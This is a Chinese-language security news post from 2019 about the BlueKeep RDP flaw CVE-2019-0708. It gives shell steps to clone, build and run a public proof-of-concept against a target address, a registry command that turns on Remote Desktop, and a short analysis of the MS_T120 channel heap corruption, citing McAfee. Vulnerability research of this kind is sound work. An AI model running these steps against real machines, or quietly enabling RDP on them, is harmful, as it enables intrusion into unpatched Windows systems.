?

微软Microsoft远程执行漏洞:CVE-2019-0708RDP漏洞PoC

作者:CQITer 时间:2019-06-11 22:18

字号
Ubuntu ,kali下载ruby脚本编译:
git clone https://github.com/zerosum0x0/CVE-2019-0708.git
cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/
apt-get install dh-autoreconf
apt-get install libssl-dev
./bootstrap
./configure --disable-credssp --disable-smartcard
make
./rdesktop 192.168.50.128:3389
微软Microsoft Windows8以下系统:CVE-2019-0708RDP漏洞PoC
?
cmd开启3389测试:
开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
?
查端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
?
测试成功截图:
?
?
?
macfee的弹计算器PoC视频:
?
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/?
?
?
?
漏洞简单分析:
?

该漏洞是由于“MS_T120”SVC名称在RDP协议的GCC(GENERAL CONFERENCE CONTROL)会话初始化序列期间被绑定为数字31的参考信道。

此通道名称由Microsoft在内部使用,并且客户端没有明显的合法用例来请求通过名为“MS_T120”的SVC进行连接。

【SVC = "MS_T120" and Channel != 31】?

在GCC会话初始化期间,客户端提供服务器未列入白名单的频道名称,这意味着攻击者可以在31以外的频道上设置另一个名为“MS_T120”的SVC。

在31以外的频道中使用MS_T120这会导致堆内存损坏和远程代码执行(RCE)。

?

MS_T120通道管理中涉及的组件在rdpwsx.dll和rdpwp.sys中分配的堆池中创建.MS_D120引用通道。

当在31以外的通道索引的上下文中处理MS_T120引用通道时,堆损坏发生在termdd.sys中。



macfee的完整分析:
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/
文章来源:看雪论坛
责任编辑:CQITer新闻报料:400-888-8888 ? 本站原创,未经授权不得转载
关键词 >> 微软,Microsoft,远程,执行,漏洞,CVE-2019
继续阅读
热新闻
推荐
关于我们联系我们免责声明隐私政策 友情链接